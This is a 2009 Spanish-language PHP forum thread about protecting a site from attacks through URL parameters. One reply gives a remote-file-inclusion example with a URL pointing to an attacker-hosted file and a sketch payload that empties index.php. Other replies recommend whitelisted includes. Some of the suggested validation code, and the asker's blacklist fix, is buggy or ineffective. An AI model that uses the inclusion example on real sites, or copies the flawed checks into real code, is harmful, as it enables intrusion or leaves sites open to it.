Foros del Web » Programando para Internet » PHP »

ayuda para paginas seguras

Estas en el tema de ayuda para paginas seguras en el foro de PHP en Foros del Web. Hola a todos, Tengo un gran miedo, ese es pasar informacion por url(get). Eh oido hablar de la gran cantidad de web que han sido ...
  #1 (permalink)  
Antiguo 05/02/2009, 19:23
 
Fecha de Ingreso: diciembre-2007
Mensajes: 274
Antigüedad: 16 años, 4 meses
Puntos: 0
Exclamación ayuda para paginas seguras

Hola a todos,

Tengo un gran miedo, ese es pasar informacion por url(get). Eh oido hablar de la gran cantidad de web que han sido hackeadas por esa via.

Yo siempre uso htmlentities() para protegerme, pero no se si es suficiente. Si alguien me puede dar alguna otra funcion o idea para que no sufra ataques se lo agradeceria

desde ya gracias
  #2 (permalink)  
Antiguo 05/02/2009, 19:50
okram
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: ayuda para paginas seguras

Dependiendo del tipo de datos que deseas recibir por la url y dónde y cómo los vas a utilizar, debes filtrar estos datos, ya sea usando expresiones regulares, o modificadores. htmlentities() debes usarlo cuando vas a imprimir datos en pantalla, pero no te va a proteger de todos los ataques que puedes recibir vía url.

  #3 (permalink)  
Antiguo 05/02/2009, 20:11
 
Fecha de Ingreso: diciembre-2007
Mensajes: 274
Antigüedad: 16 años, 4 meses
Puntos: 0
Respuesta: ayuda para paginas seguras

Es para guardar informacion en la base de datos y para hacer include o require . Muchas gracias
  #4 (permalink)  
Antiguo 05/02/2009, 20:15
 
Fecha de Ingreso: abril-2006
Mensajes: 1.128
Antigüedad: 18 años
Puntos: 33
Respuesta: ayuda para paginas seguras

luks77:
Talvez un ejemplo simple te puede ayudar.
Suponemos que register_globals() esta en OFF!!!.
1.- Supongamos que tus usuarios pueden bajar
imagenes basado en enlaces asi ->
http://tusitio.com/archivos/index.php?uno=1234567890
La variable en este caso es "uno" y su valor es "1234567890"
2.- Tus usuarios recibiran un enlace con cualquier combinacion
de numeros que contengan 10 numeros o menos.
3.- Tu la recibes desde el archivo
index.php asi->
$variable = $_GET[uno'];
aqui sigue el codigo de tu archivo...
4.- Que puede hacer un atacante:
Puede enviar o solicitar algo asi ->
tusitio.com/archivos/index.php?uno=http://otrositio.com/archivos/hack.txt
Que sucedio ->
Ya el atacante pudo ejecutar tu codigo dentro del servidor y probablemente
el archivo hack.txt contenga codigo como
$x = "index.php"
if(file_exists, $x) {
$apertura = fopen("$x", "w");
fclose($apertura);
exit();
}
Ya qui tu atacante dejo con 0 bytes tu index.php
y quedastes hackeado.
5.- Que hacer --->
Asegurate que la variable "uno" sea lo que esperas que sea y nada mas
como ->
if(strlen($variable > "10")) { exit(); }
if(is_int($variable)) {
Aqui pones el resto del codigo....
} else {
exit();
}
Cosas como estas debes hacer!!!!.

Saludos
Y espero te ayude
Franco

P.S. Si la variable fuera para bases de datos la situacion se complica aun mas!.
  #5 (permalink)  
Antiguo 05/02/2009, 22:07
okram
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: ayuda para paginas seguras

Al hablar de bases de datos, lo más importante a tener en cuenta es la Inyección SQL (SQL Injection). Investiga al respecto.

  #6 (permalink)  
Antiguo 06/02/2009, 19:00
 
Fecha de Ingreso: diciembre-2007
Mensajes: 274
Antigüedad: 16 años, 4 meses
Puntos: 0
Respuesta: ayuda para paginas seguras

Muchas gracias. Dos cositas mas.

1)Yo queria poner una web donde haya una pagina principal, y lo unico que cambia es el medio, osea el contenido. Para ello uso include o require. Ahora mi miedo es que pase lo que dijo
franco190453. Que alguien con poco coeficiente intelectual haga eso.

Mi solucion:
Código PHP:
str_remplace("http://","www","/","\","+") 
Asi impido que se utilice archivo que sea ageno a mi web.

¿Es seguro?

Problema 2: Quiero que la gente normal(lastima que siempre hay alguno con problemitas que se creen que cagando una web van a hacer reyes, y solo joden a los demas.Aparte seguro que se los enseñaron y no lnventaron). Puedan mandarnos codigos, asi yo lo guardo en la base de datos, y despues lo recupero en un <textarea> para q no se ejecute el code.

¿Cual seria el problema?¿Habria alguna solucion?
  #7 (permalink)  
Antiguo 06/02/2009, 22:16
okram
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: ayuda para paginas seguras

Al trabajar con includes que dependen de un valor enviado por el cliente (como variables de url), lo más seguro es evitar usar estos valores directamente, y que simplemente sean una referencia. Me explico. Si quieres que dependiendo del valor de X variable de url se muestre algún contenido mediante includes, puedes crear un array cuyos índices sean las referencias y los valores sean los scripts php a incluir en cada referencia:

Código PHP:
$secciones = array(
    
'inicio' => 'index.php',
    
'historia' => 'historia.php',
    
'foro' => 'foro.php',
    
'blog' => 'blog.php',
    
'contacto' => 'contact.php',
    
'404'  => 'noexiste.php'
);

// Luego buscas en el array el valor llegado de la url: index.php?seccion=foro (por ejemplo)

$seccion trim($_GET['seccion']);
$seccion strtolower($seccion);

$script = isset($secciones[$seccion]) ? $secciones[$seccion] : $secciones['404'];

include 
"includes/$script"
Con respecto a tu segunda duda, Busca y lee sobre htmlentities().

Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 21:57.